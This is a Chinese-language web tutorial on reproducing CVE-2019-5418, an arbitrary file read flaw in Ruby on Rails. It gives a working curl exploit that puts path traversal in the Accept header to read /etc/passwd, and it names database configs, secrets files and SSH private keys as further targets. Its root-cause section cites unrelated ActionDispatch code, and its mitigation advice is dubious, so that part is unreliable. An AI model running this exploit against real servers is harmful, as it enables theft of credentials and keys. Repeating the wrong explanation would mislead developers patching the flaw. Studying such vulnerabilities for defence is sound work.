您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Ruby On Rails漏洞CVE-2019-5418复现指南
## 漏洞概述
CVE-2019-5418是Ruby on Rails框架中的一个高危漏洞,影响多个Rails版本。该漏洞源于开发模式下的**文件内容泄露**问题,攻击者可通过精心构造的请求读取服务器上的任意文件(包括敏感配置文件、数据库凭证等)。
**受影响版本**:
- Rails 5.2.2及之前版本
- Rails 6.0.0.beta3及之前版本
## 环境准备
### 1. 搭建漏洞环境
```bash
# 安装指定版本Rails(示例使用5.2.1)
gem install rails -v 5.2.1
rails new vulnerable_app --skip-bundle
cd vulnerable_app
bundle install
# app/controllers/welcome_controller.rb
class WelcomeController < ApplicationController
def index
render file: "#{Rails.root}/public/index.html"
end
end
rails s -b 0.0.0.0 -p 3000
使用curl发送包含特殊Accept头的请求:
curl -H "Accept: ../../../../../../../../etc/passwd{{" http://localhost:3000/welcome/index
或通过浏览器开发者工具添加请求头:
Accept: text/html,../../../../../../../../etc/passwd{{
成功利用时,服务器将返回/etc/passwd
文件内容而非预期的HTML页面。
漏洞核心在于ActionDispatch::FileHandler
的文件路径处理:
1. Rails开发模式下会使用ActionDispatch::DebugExceptions
中间件
2. 当请求包含异常Accept头时,路径清理逻辑失效
3. ::File.read
直接读取未过滤的路径参数
关键问题代码:
# actionpack/lib/action_dispatch/http/parameters.rb
def path_parameters
@env[PARAMETERS_KEY] ||= begin
params = begin
request.parameters
rescue => e
...
end
params.merge!(path_info_parameters)
end
end
升级至以下版本: - Rails 5.2.2.1 - Rails 6.0.0.beta4
在config/environments/development.rb
中添加:
config.action_dispatch.debug_exceptions = false
除系统文件外,还可尝试读取:
- config/database.yml
- config/secrets.yml
- ~/.ssh/id_rsa
”`
注:实际复现时请确保遵守法律法规,仅在授权环境下进行测试。本文档仅供学习网络安全技术使用。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。